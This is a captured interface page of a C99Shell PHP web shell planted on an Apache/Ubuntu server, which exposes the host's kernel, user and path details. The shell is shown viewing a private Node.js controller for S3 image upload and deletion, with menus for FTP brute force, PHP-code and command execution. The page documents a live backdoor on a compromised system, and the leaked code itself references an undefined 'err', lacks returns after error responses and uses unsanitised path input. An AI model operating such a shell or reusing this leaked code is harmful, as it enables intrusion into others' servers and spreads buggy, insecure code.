!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/aws_s3/src/controllers/   drwxr-xr-x
Free 12.99 GB of 57.97 GB (22.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     productController_111.js (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import sharp from "sharp";
import ShortUniqueId from "short-unique-id";
import { uploadToS3, deleteFromS3 } from "../models/imageModel.js";

const uid = new ShortUniqueId({ length: 10 });

export const uploadImages = async (req, res) => {    
  if (!req.files.length || !req.body.vendor) {
    res.locals.data={"error":"true","message":"Missing required fields"};
    res.status(400).json(res.locals.data);
  }

  try {
    const folder = req.body.vendor;
    const fileLocations = [];

    for (const file of req.files) {
      const fileName = `${folder}/${uid()}.webp`;
      const resizedImage = await sharp(file.buffer).resize({ width: 1920 }).toBuffer();
      const uploadResult = await uploadToS3(resizedImage, fileName);

      if (!uploadResult.success) {
        res.locals.data={"error":"true","message":"product image upload failed"};
        res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
      }
      fileLocations.push(uploadResult.fileName);
    }
    res.locals.data={"message":"Product images uploaded"};
    res.status(200).json({ data: fileLocations });
  } catch (error) {
    res.locals.data={"error":"true","message":err.message};
    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
  }
};

export const deleteImages = async (req, res) => {
  if (!req.body.images || !req.body.vendor) {
    res.locals.data={"error":"true","message":"Missing required fields"};
    res.status(400).json(res.locals.data);
  }
  try {
    const images = req.body.images.split(",");
    const folder = req.body.vendor;
    for (const img of images) {
      await deleteFromS3(`${folder}/${img}`);
    }
    res.locals.data={"message":"Product images deleted"};
    res.status(200).json({ message: "Images deleted successfully" });
  } catch (error) {
    res.locals.data={"error":"true","message":err.message};
    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
  }
};

export const changeImages = async (req, res) => {
  if (!req.files.length || !req.body.files_name || !req.body.vendor) {
    res.locals.data={"error":"true","message":"Missing required fields"};
    res.status(400).json(res.locals.data);
  }

  try {
    const folder = req.body.vendor;
    const fileNames = req.body.files_name.split(",");

    if (req.files.length !== fileNames.length) {
      return res.status(400).json({ error: "Mismatch in file count" });
    }

    for (let i = 0; i < req.files.length; i++) {
      const fileName = `${folder}/${fileNames[i]}`;
      const resizedImage = await sharp(req.files[i].buffer).resize({ width: 1920 }).toBuffer();
      await uploadToS3(resizedImage, fileName);
    }

    res.status(200).json({ message: "Images changed successfully" });
  } catch (error) {
    res.locals.data={"error":"true","message":err.message};
    res.status(500).json({"error":"true", "message":"Something is wrong, Please try again"});
  }
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--